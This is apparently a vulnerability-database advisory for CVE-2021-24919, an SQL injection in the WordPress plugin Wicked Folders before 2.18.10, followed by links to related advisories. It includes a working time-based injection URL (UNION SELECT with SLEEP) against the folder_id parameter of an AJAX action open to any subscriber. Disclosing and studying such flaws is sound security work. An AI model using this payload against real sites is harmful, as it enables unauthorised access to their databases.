Lucene search
Krzysztof ZającWPEX-ID:F472EC7D-765C-4266-AB9C-E2D06703EBB4HistoryJan 03, 2022 - 12:00 a.m.
Wicked Folders < 2.18.10 - Subscriber+ SQL Injection
2022-01-0300:00:00
Krzysztof Zając
67
0.001 Low
EPSS
Percentile
38.6%
The plugin does not sanitise and escape the folder_id parameter before using it in a SQL statement in the wicked_folders_save_sort_order AJAX action, available to any authenticated user. leading to an SQL injection
As a subscriber: https://example.com/wp-admin/admin-ajax.php?action=wicked_folders_save_sort_order&folder_id=-1%20UNION%20(SELECT%2042,42,42%20FROM%20(SELECT(SLEEP(5)))b)%20--Related
nvd
nvd
CVE-2021-24919
2022-02-01 13:15:08
wpvulndb
wpvulndb
Wicked Folders < 2.18.10 - Subscriber+ SQL Injection
2022-01-03 00:00:00
cve
cve
CVE-2021-24919
2022-02-01 13:15:08
cnvd
cnvd
WordPress Wicked Folders plugin SQL injection vulnerability
2022-02-10 00:00:00
patchstack
patchstack
prion
prion
Sql injection
2022-02-01 13:15:00
cvelist
cvelist
CVE-2021-24919 Wicked Folders < 2.18.10 - Subscriber+ SQL Injection
2022-02-01 12:21:30